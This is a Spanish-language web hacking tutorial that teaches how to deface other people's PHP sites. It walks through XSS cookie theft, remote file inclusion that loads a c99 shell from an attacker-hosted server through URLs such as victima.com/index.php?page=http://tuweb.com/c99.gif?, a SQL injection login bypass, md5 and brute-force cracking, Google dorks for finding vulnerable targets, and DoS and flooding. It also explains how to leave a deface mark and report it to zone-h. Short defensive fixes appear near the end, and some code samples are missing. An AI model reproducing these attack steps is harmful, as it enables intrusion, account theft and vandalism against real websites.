Hacking: Lo Que Siempre Quisiste Aprender

El objetivo de este material es iniciar en este famoso arte de la seguridad informatica.

explicaremos algunas vulnerabilidades que nos permitiran hackear webs o hacer un deface como quieras llamarlo. Tambien explicaremos como encontrar estos bugs y como corregirlos de nuestra web para no llegar a ser el cazador cazado.

Que es un deface?

Un deface consiste en modificar una web ajena a nosotros a nuestro antojo.
Nuestro objetivo sera principalmente el index de la web ya que hay es donde suelen ir la mayoria de visitas.
Para muchos defacear webs poniendo cosas similares a: "Defaced by quiensea FUCK OFF" es de lammers, yo no soy nadie para juzgar a los demas asi que no pienso decir que esto es o no de lammers.
Antes de nada quiero dejar claro que tirar una web utilizando DoS o Floods NO es un deface. Aunque tambien explicare un poco de eso ya que el conocimiento es poder y debe ser transmitido

Buscando vulnerabilidades

Lo primero de todo es recorrer la web buscando fallos por donde colarnos, los newbyes suelen utilizar programas que buscan vulnerabilidades como el Shadow Security Scanner o el Acunetix, advierto que estos programas dejan huellas y el administrador del dominio se dara cuenta de que le han escaneado la web.
Ademas que suelen ofrecerte mas de lo que hay de verdad.
Pongamos que la web que queremos atacar esta hecha en php ( Si no sabes si es php simplemente fijate si en la url de la web aparece .php y si estuviera ocultada y solo se viese el domino prueba poniendo /index.php despues de la url).
Los principales bugs que puedes encontrar en una web php estan en campos donde el usuario puede interactuar con la web, como ya sabras esa es la principal ventaja de usar php ya que nos permite crear una web mas dinamica.

XSS

Pongamos que esta web tiene un buscador, vamos a probar "zero" como seguramente pasara pondra algo similar a Busqueda realizada: Zero, si esto sucede vamos a probar suerte con XSS.
XSS es una vulnerabilidad que consiste en poder ejecutar codigo, ya sea html o javascript, en webs ajenas a nosotros.
Si en nuestro buscador pusieramos y nos apareciera una ventana de alerta quiere decir que acabamos de encontrar una vulnerabilidad XSS.

Los XSS son fallos del programador, cuando programamos con php y estamos permitiendo al usuario insertar datos en nuestra web debemos asegurarnos de utilizar la funcion de php htmlspecialchars($string) donde la variable string es la cadena de texto que queremos bloquear asi si alguien pusiera Zero pondria eso exactamente y no zero en negrita.
Al encontrar una vulnerabilidad xss pueden suceder dos cosas:
1- Puede que no guarde el registro y por lo tanto nosotros podremos insertar codigo pero la demas gente que visite la web no se percatara de nada, si sucede esto lo maximo que podemos hacer es mandarle un mail al admin de la web que contenga un enlace con el codigo en javascript necesario para recojer su cookie y asi nosotros podriamos entrar como admin pero para hacer esto hace falta mucha suerte ya que si el admin es precavido no se fiara. Al igual que podemos robar la cookie al admin podriamos hacerlo a cualquier otro usuario de la web simplemente haciendo que pulse un enlace, esto puede ser muy util para hacer phishing, ya que si la web es por ejemplo de hosting podriamos sacar su direccion, tlf, etc.
2- Que la web guarda lo que se escribe y luego lo pone. Si este fuera el caso podriamos rehacer la web a nuestro antojo. Esta segunda opcion suele pasar en libros de visitas y demas sitios donde la gente deja comentarios. Por ejemplo, podriamos poner:

al insertar este codigo cada vez que alguien entre en la web le aparecera una ventana de alerta que no podra cerrar a no ser que cierre el navegador.

RFI

Otra tecnica para defacear muy popular es el RFI (Remote File Inclusion).
Con esta vulnerabilidad podemos incluir archivos remotos desde otros servidores, un ejemplo de esta vulnerabilidad seria:

como podemos ver estamos incluyendo $pagina, esto normalmente pasara por variable y por lo tanto muchas veces podremos editar estas variables
ya sea porque pasan por url o cualquier otro metodo.
pongamos que tenemos la web victima.com/index.php?page=http://[Nuestra web para atacar],
tendriamos que subir una shell a nuestra web guardarla como .gif por ejemplo y luego ejecutar codigos desde la shell asi por ejemplo:
victima.com/index.php?page=shell.gif?cmd=[aquí el comando]
Que podemos hacer con esto? Pues de todo ya que tenemos control utilizando la shell.
Si no tuvieramos los permisos necesarios para jugar a nuestro gusto con la web siempre podriamos utilizar exploits para escalar privilegios pero como no quiero hacer demasiado extenso este tutorial lo dejaremos para el siguiente.

Inyeccion SQL

Bueno vamos a explicar lo que son las inyecciones sql, una inyeccion sql consiste en introducir codigo sql por algun fallo normalmente del programador. Todo se entiende mejor con un ejemplo

pongamos que tenemos este codigo, que podemos hacer para tener acceso como admin sin tener la contraseña? Pues facil (no tan facil)
vamos a intentar hacer creer que no necesita la pass.
Vamos a poner de nick admin y de contra ' OR ''=' por lo tanto quedaria algo como...
$sql = SELECT * FROM users WHERE nick = 'admin' AND pass= '' OR ''='';
y que significa esto? Pues le estamos diciendo a nuestra base de datos que seleccione todos los usuarios con nombre "admin" y en el que la contraseña sea nada o nada sea igual a nada es decir que la contraseña ya no sirve para nada xD.
Pero las inyecciones SQL no se quedan solo en poder entrar como admin, os recomiendo que leais un poco sobre SQL porque hay comandos muy pero que muy interesantes.
Con una inyeccion SQL podriamos desde hacer un flood a la base de datos hasta borrarle toda la base de datos.

Y si nada de esto funciona?

No te preocues si tu victima no es vulnerable a ninguno de estos ataques ya que estos tres metodos no son todos.
Por ejemplo.. Podemos comprobar la version del servidor ya que si esta no esta actualizado tambien podriamos utilizar exploits para atacarle, o si la web tiene un foro podemos hacer lo mismo, tambien son una posible victima los foros, lo primero que debemos hacer es buscar informacion sobre la version del foro, eso suele estar en la parte inferior de la portada, despues vamos a www.milworm.com
y buscamos si hay algun exploit para esa version. Hay foros como los php-nukes que si no estan actualizados son facilisimos de defacear
ya que con una simple inyeccion sql podemos sacar la pass del admin en md5, y como se puede descodificar un md5? pues muy facil...


Como sacar un md5?

Bueno realmente un crackeador de md5 no es algo muy complejo ya que lo unico que hace es ir probando, por ejemplo tenemos un md5 que descifrado pone pistacho pues nuestro crackeador lo que hace es probar letra por letras hasta que pistacho en md5 es igual al codigo md5 que estamos buscando.
Para descifrar un md5 podemos buscar en webs que poseen bases de datos con md5 o tambien podemos buscarnos un crackeador como el cain y abel.
Yo explicare como hacerlo con cain y abel.

Abrimos el cain, pulsamos en la pestaña cracker luego a la izquierda le damos a md5 hashes, boton de la derecha y a add list.
Podemos elegir crackear el md5 usando diccionarios o por fuerza bruta yo suelo utilizar primero fuerza bruta solo de numeros ya que es rapido y te sorprenderia saber la cantidad de gente que utiliza contraseñas como 12345 o similares.
Si esto tampoco funciona siguen habiendo posibilidades...

Ataques por fuerza bruta

Los ataques de fuerza bruta funcionan igual que crackear un md5, lo unico que hace falta es un crackeador por fuerza bruta y suerte.
Si sabemos el nick que queremos conseguir ya tenemos media batalla ganada. Podemos crackear tanto un ftp como el login de una web
si tenemos suerte y la contraseña es de 5 o 6 digitos puede ser relativamente rapido pero como el admin sea precavido y tenga una contraseña de 10 digitos que contegan numeros y letras... ya vamos a necesitar muucha paciencia.

No hay web 100% segura

Siempre nos queda un as en la manga y podemos recurrir al feo tema de los DoS, floods y demas. Yo, personalmente, no he usado nunca un ataque de este tipo ni aconsejo a nadie utilizarlo pero como pienso que el conocimiento debe compartirse vamos a hablar un poco de estos ataques.
Pongamos que necesitamos dejar fuera de combate nuestra web victima y no nos importa la etica ni la moral, pues en ese caso nada mejor que un DoS, mediante los p2p puedes infectar muchos ordenadores que por ejemplo, descarguen algo de la web que pese bastante como un archivo o una imagen grande,
esto haria gastar mas ancho de banda del normal y si este ataque se efectua entre bastantes ordenadores y el hosting no es muy bueno podria acabar a los visitantes de esa web con las ganas de poder entrar o hacer que su visita sea muy pero que muy lenta.
Tambien estan los floods, que seria por ejemplo en el apartado de registro de una web sin captcha crear un programa que rellene el formulario y lo envie repetidamente y llegara un momento en el que la base de datos dira basta y dejara durante un rato sin poder registrarse a nadie. Aunque personalmente no le veo la gracia a esto...


Como solucionar estos fallos?

Ahora nos pondremos del lado del webmaster y vamos a intentar evitar que seamos nosotros las victimas de estos ataques.
Para evitar los ataques XSS podemos utilizar la funcion de php htmlspecialchars($string) que lo que hace es convertir esos caracteres html que la web interpreta en caracteres no representativos para la web y asi puede leerlos sin problemas, como ya dije mas arriba.

Para evitar ataques RFI lo mejor es no incluir archivos que no sabemos de donde proceden por ejemplo, si tenemos este codigo:

if($_GET['menu']){
$menu=$_GET['menu'];
switch($menu){
case "retos":
include("retos.php";
break;
default:
include($menu);
break;

}

Ese codigo lo que hace es permitir que si no sabe que archivo debe incluir incluye el que el usuario pida, ojo a estas cosas.
Tambien podemos evitar que nos incluyan archivos externos editando el php.ini, poniendo:
allow_url_fopen=off

Y para evitar las inyecciones sql podemos modificar las urls que van dirigidas a la base de datos. Recomiendo en las bases de datos poner los minimos privilegios posibles para los usuarios asi nos evitamos que nos borren la tabla o cosas similares y cojer solo lo que necesitemos en las consultas de la base de datos, en vez de cojer toda la base de datos y luego solo poner lo que necesites coje solo lo que necesites. Si el dato que se nos va a enviar a la base de datos es numerico comprueba que realmente es numerico por ejemplo asi:
$id = (int)$_GET['id'];
y por ultimo recomiendo comprobar las cadenas con la funcion de php mysql_escape_string(), esta funcion lo que hace es limpiar los "caracteres magicos" que pueden joder la consulta.

Para que nuestra web no sea victima de floods lo que podemos hacer es proteger nuestros registros de usuario y demás sitios de la web donde el usuario introduce datos con Captcha. Si tienes un foro recomiendo poner en el registro de usuario una campo mas o menos para evitar que vengan bots a llenarnos de mierda el foro.


RFI

Que es RFI?

RFI (Remote File Inclusion) es una vulnerabilidad que solamente existe en paginas dinamicas como php que permite enlazar archivos que estan en servidores remotos, esta vulnerabilidad se produce por una mala programacion del webmaster usando la funcion include()
Una web vulnerable podria ser:
www.victima.com/index.php?page=videos.php
Esta pagina lo que esta haciendo es incluir el documento "videos.php".
Nos aprovecharemos de esto incluyendo nuestros propios archivos pero para eso necesitamos una shell.

Que es una shell?

Una shell es un interrete de ordenes y comandos. Es una interfaz para comunicar el usuario con el sistema operativo.
Esto para que nos sirve en nuestro deface pensaras? Pues esta claro! Con esto ejecutaremos comandos en la web victima.

Como encontrar una web vulnerable?

Como encontrar una web vulnerable? Pues con google!
Podemos encontrarlas haciendo busquedas del tipo:
allinurl:index.php?page= .php
y variantes, en vez de page otra cosa similar como: go, pg, ir, ...

Como explotar la vulnerabilidad?

Vamos a ver como explotar la vulnerabilidad, tenemos la web
www.victima.com/index.php?page=videos.php
para comprobar que es vulnerable vamos a poner:
page=http://www.zerooo.es (no olvides el http que es muy importante!)
y quedaria algo como...
www.victima.com/index.php?page=http://www.zerooo.es
si ves que nuestra bonita web se carga dentro de esa web, enhorabuena! aunque no siempre esta asegurado el deface...
ahora vamos a meter nuestra shell ahi, hay muchos tipos de shell, yo recomiendo la c99 ya que es muy facil de usar, asi que la descargamos de esta misma web
y si no esta en .gif la ponemos como .gif ya que si estuviera .php se ejecutaria en nuestro servidor.
Ahora la subimos a un hosting gratuito mismo como iespana por ejemplo y vamos a nuestra victima y escribimos donde estaba zerooo la direccion de la shell por ejemplo:
www.victima.com/index.php?page=http://tuweb.com/c99.gif? (Ojo con el ? que a veces es importante)
ahora si todo a salido bien deberia abrirse la shell y ahi veriamos lo que podemos hacer, yo recomiendo NO BORRAR NADA pro bueno yo no voy a decir lo que debeis o no debeis hacer


Dejando nuestra marca

Ahora que tenemos control sobre la web mediante la shell vamos a dejar claro que hemos estado aqui, este es un tema dificil de explicar ya que siempre estara esa gente que borra todo y tambien esos que solo le mandan un mail al admin yo estoy en medio asi que os explicare un poquillo... Yo recomiendo subir nuestro index.html en el que ponga quien a echo el deface pero sin borrar el otro index, si es php el otro el nuestro por ser html tiene preferencia y si no
le cambiamos el nombre al otro y ya esta.
Recomiendo poner una fotito bien bonita con un OWNED bien grande jaja
y bueno ahora solo faltaria (si queremos) ir a zone-h y notificar nuestro deface.

Como evitar que nos lo hagan a nosotros

Como ya he dicho los bugs RFI son por culpa del programador asi que para evitarlos simplemente seria en el codigo no dejar que la gente haga lo que quiere por ejemplo.
Ejemplo de web vulnerable www.victima.com/index.php?page=zerooo.php:

Y ese codigo lo que hace es incluir $page que seria igual a zerooo.php y para evitarlo podriamos utilizar un if o un switch por ejemplo.

Con ese codigo nos evitamos la inclusion de archivos no deseados ya que solo incluira el archivo si es igual a la variable.

Espero que les haya gustado el tutorial y para cualquier cosa: www.zerooo.es si teneis alguna duda o algo podeis mandarme un mail dandole a la seccion contacto



Comparte esto con tus amigos: